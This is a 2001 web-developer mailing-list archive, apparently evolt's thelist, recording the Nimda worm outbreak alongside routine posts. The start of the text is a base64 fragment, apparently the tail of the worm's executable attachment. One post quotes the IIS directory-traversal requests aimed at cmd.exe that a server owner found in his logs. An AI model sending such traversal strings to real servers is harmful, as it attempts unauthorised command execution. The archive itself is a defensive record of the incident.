/2AAAAH/AEn/YAAAAf9fU/9////H/0FM/wAAAA//MkH///////9fRf///////0RPKAAAACAAAABA AAAAAQABAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8AAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///// /AAAA/3///v9///7/f//+/3///vh///7zAH/+8wAf/uIAD/7gAAf+4A4T/ugfO/7oH//+7AAD/vY D+/72ADv++x87/vmOd/78wPf+/iHv/v8A2/7/QDv+/3x3/v9/D/z/f/+A/3///f9///v/f//3/3/ /7/9//9//f///05QQUQAAAEABQAQEBAAAQAEACgBAAABACAgEAABAAQA6AIAAAIAICAAAAEACACo CAAAAwAwMAAAAQAIAKgOAAAEACAgAgABAAEAMAEAAAUAUEFERElOR1hYUEFERElOR1BBRERJTkdY WFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQ QURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQ QURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFE RElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFE RElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJ TkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJ TkdQQURESU5HWAAQAAA0AQAAJTBDMFEwXzBtMJwwqDDnMPYwCjEVMSYxZzGGMaAx2DHvMQcyaTJz MoEylDKxMsIy/DJJM1YzZDNzM58zETQZNG00mDThNGk1gDXKNeM1+jURNlk2fjaJNp42yjYCNx83 LjdIN3s3nDeoN7E3xjfRN+43/TcdOD44SjhgOGU4qDi2OMk42jj/OBY5ITlAOVc5kzm4Oc459TkB OiE6WzpkOm86kjqkOr86yDrfOvA6CDsZO087VTtrO387iTudO7k7xjvhOwo8gTyWPKM8ujzePO48 Jj0yPTg9RT1PPV49aj2JPac90j33PQw+Ij4pPi4+RT5ePo8+nT6/PtA+1T7ePuk+8z76Phc/Hz8p PzA/NT9AP00/VD9dP3w/gj+JP5U/oz+vP80/1j/eP+0/ACAAAPgBAAACMBAwHzAnMC8wQzCGMJEw oTCqML4wzzDkMOow9zD8MAExCjERMRoxITEqMTExOjFBMUoxWTFxMXYxfTGdMbIxvzHxMScySzKa MqAysjLEMgAzLTM0M1MzYTO0M/gz/zMZNC40OTQ/NFE0WTRjNG80dTR8NIU0izSoNK40xzTXNNw0 7DTxNAE1BjUXNRw1LDUxNUQ1STVaNV81cDV1NYU1ijWaNZ81rzW0Ncc1zDXcNeE18TX2NQY2CzYc Niw2MTZENkk2WTZeNm82gDaQNpU2pTaqNr02wjbSNtc25zbsNvw2ATcRNxY3JjcrNz43QzdTN1g3 aDdtN303gjeSN5c3pzesN783xDfUN9k36TfuN/43AzgTOBg4KDgtOEA4RThVOFo4ajhvOH84hDiU OJk4qTiuOME4xjjWONs46zjwOAA5BTkVORo5KjkvOUI5RzlXOVw5bDlxOYE5hjmWOZs5rDmyObc5 vTnCOcc50jnYOd454znoOfY5/DoJOzg7QTtfO2g7djt/O5c7ozvEO/Y7EzxUPGQ8pjzZPP08DD0c PTQ9ij2SPbM9uT2/PcU90T3cPeI96T3vPQU+Mj5VPn4+iT6nPrw+xj7NPtQ+2z7iPuk+8D73Pv4+ BT8MPxM/Gj8hPyg/Lz9RP1g/cT/pP/A/ADAAADwBAAAJMBwwJzAzMD8wWDB9MIQwGzGgMbEx0jHn MR0yPDJXMnQyrzLGMtcy6jIwM0kzazN+M8UzyzPhM/Mz/TMPNCs0NjRCNFU0ezSLNMw07DQMNSw1 PjVQNWI1cTWjNbI1vTXWNeM16TUuNjQ2SDZnNm42fTaDNqU2zTbiNvs2Hjc/N1E3VjehN643uDe+ N9436DcDOA04EzgbOCE4LTg6OEY4TDhxOMI45Tj4OAY5GTkyOUQ5TzlUOVo5bTl2OYk5jzmnObE5 yzneOfk5DjodOjI6GjskO5k7Gjw1PD88TTxgPGY8eTyPPJ48pTy0PNY85jz1PP08Az0SPRg9Mj1P PWg9hT2PPZU9rD2+PeU99j0OPiI+LD5APlE+Vz5pPnY+kT66PgE/Jj82P1c/dT+jP8g/9j8AAABA AABYAgAAGTAuMDswUjB2MIYwtTC/MMUwyzAyMTcxPTFRMVcxZDFvMXYxfzGZMbQxxDHVMeox7zEA MisyMDI2MkEyVTJgMoEynDKlMqwy3zLvMvYyLjM/M1YzXDNrM4QzjTOrM7Yz0jPpM/AzDDQSNCQ0 OTRLNGE0djSDNIk0njSrNNQ02jTkNPU0+zQCNRY1LjU3NUo1UDV1NXs1kzWpNbA1wTXSNdg14zXx NRQ2RjZrNqY24DYSNzc3fTeIN443tze9N9U36jfvNxA4LTg0OEE4TjhnOHc4fzieOK44tDjVONw4 6DjuOAU5EjkgOSg5LTk8OUQ5UDlYOWQ5bDl5OX85ijmTOao5tjnKOdM55jkiOjM6PTpCOks6Vzpc OmQ6aTpvOnY6ezqBOog6jTqTOpo6nzqlOq06szq6OsA6xzrMOtI62TreOuQ66zrwOvY6/ToCOwg7 DzsWOxw7IzsoOzE7PztHO0w7VTtcO2Q7aTtvO3Y7ezuBO4g7jTuTO5o7nzulO6w7sTu6O8E7yTvO O9Q72zvgO+Y77TvyO/g7/zsEPAo8ETwWPBw8IzwoPC48NTw6PEM8TjxWPFs8YTxoPG08czx6PH88 hTyMPJE8lzyePKM8qTywPLU8uzzCPMc8zTzUPNk83zzmPOs88Tz4PP08Az0KPQ89FT0cPSE9Jz0u PTM9OT1APUU9Sz1SPVc9XT1kPWk9bz12PXs9gT2IPY09kz2aPZ89pT2sPbE9tz2+Pck90D3cPeg9 9D0APhw+Lj5KPnY+yj7QPug+FT8uP0o/XD9tPwBQAAA8AQAAOjBFMFoweDCYMNAw7TD9MAsxGjEp MUQxezGqMbcxzzHlMfQxBjIVMiYyNzJNMmQyijKZMqcyrTLEMs8y1zISMxgzKjMHNCE0KjRANEY0 TzSgNNU04zT6NAs1LTVCNVI1WzVvNXk1pzWyNco10zXcNQ42FDYmNkk2UzZlNoA2izakNtY2EDcw N2I3kDeiN643tDfnN/Y3ETgXOCU4OjhFOFI4CDkOOSo5NzlQOXA5sjm4OcI50zntOfk5AjoTOjc6 PTpGOk46WDphOm06dTp8Oo46lDqdOsQ67ToDOzs7TDtvO4k7mjvQO+07AzwOPE48WTxrPLI8Dj1O PXk9qT3vPfU9Cz4aPis+MT5RPl4+Zj5sPnc+kj6aPqU+5T4RPx0/NT8+P1c/Xz9wP5k/uj/EP/U/ AAAAYAAApAEAABow2jDgMPwwHjE0MU4xVzGbMaExqzHDMWIyezKUMv8yFjMuM14zZDNrM4MzlDOa M6IzsTPTM9kz3zPuM/4zBDQPNDE0NzRCNEg0VjReNGU0ajRwNIY0jTSUNK80ujTANNI03zTnNPY0 AjUpNT41RjVSNVo1aTV2NXw1hzWQNZ01ozWoNa41tDW5Nb818jX5NQQ2ITZuNpM2uzbENsk2zzbW Nts26jbwNvw2BDcJNyk3NTdYN203eDeGN5A3njeoN7M3vjfcN+E35zfyN/g3CTgVOBo4OzhGOEs4 UjhXOF04YziBOJc4ozitOLc4zzjrOPo4BDkZOSA5RjlMOVs5ZDl2OYA5kjmkOao5tTnFOeU59DkA OgY6EDovOoc6lTrGOgY7DjsWOyg7ODs+O207hjujO7w7AjwTPCE8Ljw5PEA8XzxxPH88ljycPKI8 uTzHPNw84TzmPOw8+DwGPSs9MT15PZE9lz2uPeM98D0GPhU+Vj5cPnI+eD6BPqM+sz67PtQ+Gz8j Pzs/Qj9NP1Q/ej+FP5Q/rD+3P+4/AAAAcAAAmAAAABMwdjB+MJcwnTCiMMcwzTDgMO4w9TD7MAEx BzEgMScxNDFLMWQxajF+MZgxqDHRMSMyQjJgMnQykzKxMuoyATMZMyUzNzNJM3QzezODM4kzjjOT M8UzyzPRM9cz5jPsM/Iz+DP+MwQ0EjQaNCA0KzQ4NEA0TjRTNFg0XTRoNHU0fzSUNKA0pjTINNo0 NjVSNQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA= --====_ABC1234567890DEF_==== From null at terra.com.br Tue Sep 18 10:45:05 2001 From: null at terra.com.br (Mensagem Automatica do Terra) Date: Tue Sep 18 10:45:05 2001 Subject: [thelist] Returned message - mailbox size exceeded Message-ID: <200109181530.MAA29253@srv8-sao.sao.terra.com.br> Your message with subject [ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guideline] was not delivered to the following recipient: [istoe110]. This recipient's mailbox is full. Sua mensagem com assunto [ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guideline] nao foi entregue ao seguinte destinatario: [istoe110]. A caixa-postal deste destinatario esta' cheia. by srv8-sao.sao.terra.com.br (8.9.3/8.9.3) with ESMTP id MAA29199 for ; Tue, 18 Sep 2001 12:30:36 -0300 From: thelist at lists.evolt.org Received: from smartrelay1.terraempresas.com.br (smartrelay1.terraempresas.com.br [200.176.131.5]) by mx5.terra.com.br (8.11.6/8.11.1) with ESMTP id f8IFUZP27901 for ; Tue, 18 Sep 2001 12:30:36 -0300 Received: from mx1.terraempresas.com.br ([200.177.96.23]) by smartrelay1.terraempresas.com.br (8.11.6/8.11.3) with ESMTP id f8IFUZt10534 for ; Tue, 18 Sep 2001 12:30:35 -0300 Received: from FTHGTEIXEIR ([64.133.24.16]) by mx1.terraempresas.com.br (8.11.6/8.11.3) with SMTP id f8IFUXY30503 for ; Tue, 18 Sep 2001 12:30:33 -0300 Date: Tue, 18 Sep 2001 12:30:33 -0300 Message-Id: <200109181530.f8IFUXY30503 at mx1.terraempresas.com.br> Subject: ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guidelinessrv3-sao.sao.terraempresas.com.br.kris lunch 2 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC1234567890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 From evolt at brasscannon.net Tue Sep 18 10:53:46 2001 From: evolt at brasscannon.net (Kevin Martin) Date: Tue Sep 18 10:53:46 2001 Subject: [thelist] Browser detection and save file as Message-ID: <20010918115435.A5178@brasscannon.net> A client wished for an upload-download page; I borrowed some PHP code to invoke ftp, which worked fine for the upload but it fell over on the download side. I hacked the PHP to present http links to the available files, so it works both ways now. But... it requires the user to be clueful enough to right-click (or whatever the equivalent is on a Mac!) in order to do a 'save file' or 'save link' or 'save this link as' depending on the browser she's using. So... I was wondering if anyone had a clever trick that would force all (or even most) browsers to download a file rather than opening a file? I have complete control over the server (Apache), if that helps. Failing that, a pointer to some pre-tested code to detect the browser and platform would be a godsend -- few things shake a user's confidence worse than asking her to "right-click" with a Mac mouse. IE 5 on MacOS 9.1 does NOT like self-signed OpenSSL certificates. It will hang your Mac hard if you even try to view the site. Be warned! From null at terra.com.br Tue Sep 18 10:58:37 2001 From: null at terra.com.br (Mensagem Automatica do Terra) Date: Tue Sep 18 10:58:37 2001 Subject: [thelist] Returned message - mailbox size exceeded Message-ID: <200109181558.MAA05855@srv17-sao.sao.terra.com.br> Your message with subject [ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guideline] was not delivered to the following recipient: [istoe25]. This recipient's mailbox is full. Sua mensagem com assunto [ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guideline] nao foi entregue ao seguinte destinatario: [istoe25]. A caixa-postal deste destinatario esta' cheia. by srv17-sao.sao.terra.com.br (8.9.3/8.9.3) with ESMTP id MAA05825 for ; Tue, 18 Sep 2001 12:58:38 -0300 From: thelist at lists.evolt.org Received: from smartrelay1.terraempresas.com.br (smartrelay1.terraempresas.com.br [200.176.131.5]) by mx6.terra.com.br (Postfix) with ESMTP id C89D862B58 for ; Tue, 18 Sep 2001 12:58:37 -0300 (GMT+3) Received: from mx2.terraempresas.com.br (rmx2.terraempresas.com.br [200.176.131.3]) by smartrelay1.terraempresas.com.br (8.11.6/8.11.3) with ESMTP id f8IFwbt28383 for ; Tue, 18 Sep 2001 12:58:37 -0300 Received: from FTHGTEIXEIR ([64.133.24.16]) by mx2.terraempresas.com.br (8.11.6/8.11.3) with SMTP id f8IFwZg09971 for ; Tue, 18 Sep 2001 12:58:35 -0300 Date: Tue, 18 Sep 2001 12:58:35 -0300 Message-Id: <200109181558.f8IFwZg09971 at mx2.terraempresas.com.br> Subject: ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guidelinessrv3-sao.sao.terraempresas.com.br.menu MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC1234567890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 To: undisclosed-recipients:; From gturner at ync.net Tue Sep 18 11:01:56 2001 From: gturner at ync.net (Glenn Turner) Date: Tue Sep 18 11:01:56 2001 Subject: [thelist] User cant see page In-Reply-To: <3B55A5A1F233D41183A800D0B74D4D5213AB62@SBS> Message-ID: <5.1.0.14.0.20010918101008.034d7ec8@pop31.ync.net> At 10:55 AM 9/18/2001 +0200, you wrote: >Worked fine for me with Netscape 4.7 on PC (without Flash). I'd bet you >anything they are using Netscape on a Mac - it seems to be way more >*sensitive* than on the PC. I received the html site using Netscape 4.7 Mac with Flash 5.0 r41 installed hth, Glenn Turner ----------------------------------- :alias: http://peccaui.com/alias From seth at sethbienek.com Tue Sep 18 11:10:20 2001 From: seth at sethbienek.com (Seth Bienek) Date: Tue Sep 18 11:10:20 2001 Subject: [thelist] failure notice (& CF TIP) In-Reply-To: <200109181509.f8IF8vVW009938@leo.evolt.org> Message-ID: This return was generated as a result of the W32.Nimda.A at mm worm being sent out today. If you have received an email from thelist at lists.evolt.org with an unusually long subject line, do NOT open it. It contains a self-running executable. Most virus scanners will not detect this virus either. Have a nice day, Seth ColdFusion has an lcase function to convert a string to lower case, and a ucase function to convert a string to upper-case, but no function to convert a string to proper case (first letter caps, every other letter lowercase). If you're running CF5, here's a UDF for converting each word in a string to proper case: function PCase(n) { var title = ""; var myword = ""; var loop = 1; for(loop=1; loop LTE ListLen(n, " "); loop = loop+1) { myword = ListGetAt(n, loop, " "); if (len(myword) is 1) { myword = myword & " "; } title = "#title# " & Ucase(Left(myword,1)) & trim(LCase(Right(myword, Len(myword) - 1))); } return title; } From djc at starkmedia.com Tue Sep 18 11:10:24 2001 From: djc at starkmedia.com (Daniel J. Cody) Date: Tue Sep 18 11:10:24 2001 Subject: [thelist] admin: holding posts. Message-ID: <3BA76E8D.7030801@starkmedia.com> Hi - Looks like there's a new variation on some old IIS vunerabilities: http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/security/bulletin/ms01-020.asp as such, I'll be manually approving all posts to thelist till this is sorted out :) You may notice an additional lag when posting to or recieving email from thelist as http requests from this new worm have totally filled the t-1 where evolt is hosted. Post as normal, just don't expect lightning fast responses like normal for a couple hours :) Thanks for your patience! .djc. From crsaila at yahoo.ca Tue Sep 18 12:08:40 2001 From: crsaila at yahoo.ca (Craig Saila) Date: Tue Sep 18 12:08:40 2001 Subject: New Worm (was Re: [thelist] another worm?) References: <200109181519.f8IFJBVW010738@leo.evolt.org> Message-ID: <3BA7776D.9040106@yahoo.ca> aardvark wrote: > ok, a few of our clients were hit this morning by something that > tries to get your browser (on windows) to download a .eml file > which it would then launch via an .exe... > > i can't get to any virus sites, since all web traffic coming and going > is pretty hosed right now... At McAfee, the most recent virus update is from the 11th. Strikes me they haven't updated the page since, as it seems a new virus was posted every day previous to then. Symantec, however lists a new worm called W32.Nimda.A at mm that matches the profile. Details: "This is the preliminary information known at this time. Symantec has received a number of submissions and has assessed this as a level 4 threat rating. There is a new mass-mailing worm that utilizes email to propagate itself. The threat arrives as readme.exe in an email. In addition, the worm sends out probes to IIS servers attempting to spread by using the Unicode Web Traversal exploit similar to W32.BlueCode.Worm. Compromised servers may display a webpage prompting a visitor to download an Outlook file which contains the worm as an attachment. Also, the worm will create an open network share allowing access to the system. The worm will also attempt to spread via open network shares." -- Cheers, Craig Saila ------------------------------------------ craig at saila.com : http://www.saila.com/ ------------------------------------------ _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com From ben_dyer at imaginuity.com Tue Sep 18 12:11:48 2001 From: ben_dyer at imaginuity.com (Ben Dyer) Date: Tue Sep 18 12:11:48 2001 Subject: [thelist] another worm? In-Reply-To: <200109181519.f8IFJBVW010738@leo.evolt.org> Message-ID: <5.0.2.1.0.20010918113219.021d4a38@mail.imaginuity.com> This is the most I can find so far: http://www.cert.org/current/current_activity.html#port80 http://hacktivism.openflows.org/article.pl?sid=01/08/13/1237245&mode=nocomment http://www.ntbugtraq.com/default.asp?pid=36&sid=1&A2=ind0109&L=ntbugtraq&F=P&S=&P=1747 This is a doozy but details are sketchy. It seems to be playing on the vulnerabilites left by Code Red II. --Ben At 10:19 AM 9/18/2001, you wrote: >ok, a few of our clients were hit this morning by something that >tries to get your browser (on windows) to download a .eml file >which it would then launch via an .exe... > >i can't get to any virus sites, since all web traffic coming and going >is pretty hosed right now... > >so, is there a new worm out there? the IIS servers affected were >*supposedly* patched against the last batch... > >anyone? > > >--------------------------------------- >For unsubscribe and other options, including >the Tip Harvester and archive of TheList go to: >http://lists.evolt.org Workers of the Web, evolt ! ------------------------- Ben Dyer Senior Internet Developer Imaginuity Interactive http://www.imaginuity.com ------------------------- Quidquid latine dictum sit, altum videtus. ------------------------- From ganemanrussell at yahoo.com Tue Sep 18 12:38:09 2001 From: ganemanrussell at yahoo.com (joseph gannon) Date: Tue Sep 18 12:38:09 2001 Subject: [thelist] Dreamweaver Ultradev 4 / Fireworks 4 In-Reply-To: <3BA7633F.14A5715@lightbulbpress.com> Message-ID: <20010918163544.6608.qmail@web14905.mail.yahoo.com> Check out the book "Foundation Dreamweaver Ultradev 4" by Rob Paddock. --- Matt wrote: > You can check out the Macromedia Showcase of > Dreamweaver sites for some > examples: > > http://dynamic.macromedia.com/bin/MM/showcase/scripts/showcase_cs_listing_by_query.jsp?product=Dreamweaver > > While you're there, download some free extensions. > That's one of the best ways > to expand the capabilities of Dreamweaver and will > give you expanded DHTML > functionality, which are somewhat limited in the > base install of Dreamweaver: > > http://dynamic.macromedia.com/bin/MM/showcase/scripts/showcase_cs_listing_by_query.jsp?product=Dreamweaver > > Matt > > Bob Boisvert wrote: > > > Good Day Everyone, > > > > I'm really just starting out using Ultradev 4 and > Fireworks and haven't had > > much experience with them with exception of a lot > of practicing. Can anyone > > throw some links at me of sites that were made > with just these 2 > > applications. I really just trying to get an idea > of the capabilities of > > both. The books that came with the suite aren't to > clear on advanced > > techniques. > > > > feel free to email privately. > > > > Thanks, > > Bob > > --- > > Outgoing mail is certified Virus Free. > > Checked by AVG anti-virus system > (http://www.grisoft.com). > > Version: 6.0.280 / Virus Database: 147 - Release > Date: 9/11/01 > > > > --------------------------------------- > > For unsubscribe and other options, including > > the Tip Harvester and archive of TheList go to: > > http://lists.evolt.org Workers of the Web, evolt ! > > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! __________________________________________________ Terrorist Attacks on U.S. - How can you help? Donate cash, emergency relief information http://dailynews.yahoo.com/fc/US/Emergency_Information/ From norman.bunn at mindspring.com Tue Sep 18 12:56:57 2001 From: norman.bunn at mindspring.com (Norman Bunn) Date: Tue Sep 18 12:56:57 2001 Subject: [thelist] another worm? References: <200109181519.f8IFJBVW010738@leo.evolt.org> Message-ID: <05b701c14063$5e98d9a0$0201a8c0@com> One of my sites is being hammered with something trying to execute Windows-type programs via the browser. Since I capture 404s, I am seeing all this activity. Fortunately, this machine is running Linux, not Windows. The attack is coming from multiple domains and is trying what appear to be common directories for the Windows executables. Strings I am seeing are: /msadc/..%5c../..%5c../..%5c/..? ../..? ../..? ../winnt/system32/cmd.exe /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /d/winnt/system32/cmd.exe /c/winnt/system32/cmd.exe It looks like someone is trying to exploit the IIS Remote Execution Vulnerability or something similar. http://www.securiteam.com/exploits/6F00M2000A.html Anyone else seeing this? Norman > ok, a few of our clients were hit this morning by something that > tries to get your browser (on windows) to download a .eml file > which it would then launch via an .exe... > > i can't get to any virus sites, since all web traffic coming and going > is pretty hosed right now... From pgerenda at visteon.com Tue Sep 18 12:57:25 2001 From: pgerenda at visteon.com (Gerenday, Perry (P.)) Date: Tue Sep 18 12:57:25 2001 Subject: [thelist] another worm? Message-ID: <200109181730.f8IHULe17729@dymwsm11.mailwatch.com> -----Original Message----- From: aardvark [mailto:roselli at earthlink.net] > ok, a few of our clients were hit this morning by something that > tries to get your browser (on windows) to download a .eml file > which it would then launch via an .exe... > > i can't get to any virus sites, since all web traffic coming > and going > is pretty hosed right now... > > so, is there a new worm out there? the IIS servers affected were > *supposedly* patched against the last batch... > > anyone? Alright, this is getting *real* errie. I've been receiving these auto-reply messages over the past hour. Something seems to be up. Are we under attack on the net? From: MAILER-DAEMON at dti.net Subject:Undelivered Mail Returned to Sender From: MAILER-DAEMON at lists.evolt.org Subject:Undelivered Mail Returned to Sender From: Returned message - mailbox size exceeded Subject: Mensagem Automatica do Terra [null at terra.com.br]) From: MCPHelp at microsoft.com Subject:[thelist] MCP Acknowledgement From: newmailsweeper3 at state.gov Subject: [thelist] Blocked EXECUTABLE to Department of State Perry Gerenday, Visual Communications Artist www.virtually-artistic.com From jcrawford at avencom.com Tue Sep 18 13:03:12 2001 From: jcrawford at avencom.com (Joe Crawford) Date: Tue Sep 18 13:03:12 2001 Subject: [thelist] another worm? References: <200109181519.f8IFJBVW010738@leo.evolt.org> <05b701c14063$5e98d9a0$0201a8c0@com> Message-ID: <3BA78BA1.A4296824@avencom.com> Norman Bunn wrote: > > One of my sites is being hammered with something trying to execute > Windows-type programs via the browser. Since I capture 404s, I am seeing > all this activity. Fortunately, this machine is running Linux, not Windows. > The attack is coming from multiple domains and is trying what appear to be > common directories for the Windows executables. Started this morning - active as hell: Looks like Code Red on steroids. :-( http://www.slashdot.org/ http://www.newsbytes.com/news/01/170225.html http://www.sarc.com/avcenter/venc/data/w32.nimda.a at mm.html http://www.nipc.gov/warnings/advisories/2001/01-021.htm http://securityresponse.symantec.com/avcenter/venc/data/w32.nimda.a at mm.html http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/security/bulletin/ms01-020.asp http://www.cert.org/current/current_activity.html#port80 http://hacktivism.openflows.org/article.pl?sid=01/08/13/1237245&mode=nocomment http://www.ntbugtraq.com/default.asp?pid=36&sid=1&A2=ind0109&L=ntbugtraq&F=P&S=&P=1747 http://vil.mcafee.com/newVirus.asp - Joe -- ................... Joe Crawford \\ Web Design & Development ..... mailto:jcrawford at avencom.com \\ http://www.avencom.com .... San Diego \\ CA \\ USA \\ AVENCOM: Set Your Sites Higher From sunyrain at yahoo.com Tue Sep 18 13:09:14 2001 From: sunyrain at yahoo.com (Ryan Siegel) Date: Tue Sep 18 13:09:14 2001 Subject: [thelist] another worm? References: <200109181519.f8IFJBVW010738@leo.evolt.org> <05b701c14063$5e98d9a0$0201a8c0@com> Message-ID: <001101c1406c$db471940$3501a8c0@crvlls1.or.home.com> Hello all, I was recently hit with the Win32.SirCam.137216 worm which gets a file from you "My Documents" and appends a .pif extension so that the worm will propogate once the user opens the file. It does several other things... you can learn about it here: http://ca.com/virusinfo/encyclopedia/descriptions/s/sircam137216.htm or, if you want to keep frames, go here: http://www.cai.com/virusinfo/encyclopedia/ and search for "Win32.SirCam.137216" I updated my InnoculateIT (free, btw) with the latest virus definitions (also free) and it caught the virus and innoculated IT! ;) I checked my system registry and it appeared to be fine (the Win32.SirCam.137216 worm messes with it). This worm was added to the Computer Associates definition list in August 30th so it may not be the one you are all talking about. HTHISWOA (... In Some Way Or Another ;) - Ryan S. _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com From ghunt at sympatico.ca Tue Sep 18 13:16:37 2001 From: ghunt at sympatico.ca (Glenn Hunt) Date: Tue Sep 18 13:16:37 2001 Subject: [thelist] Browser detection and save file as In-Reply-To: <20010918115435.A5178@brasscannon.net> Message-ID: <000601c1406d$5e941320$0300a8c0@glenn> I went through this recently, although we used a script to process the file instead of giving direct access. What we had to do was to have in the header the following. I'm not sure how it would translate to PHP: Basically, the first line tells the browser that it is receiving a file, not an html document. The second line tells the browser that the MIME type of the file is 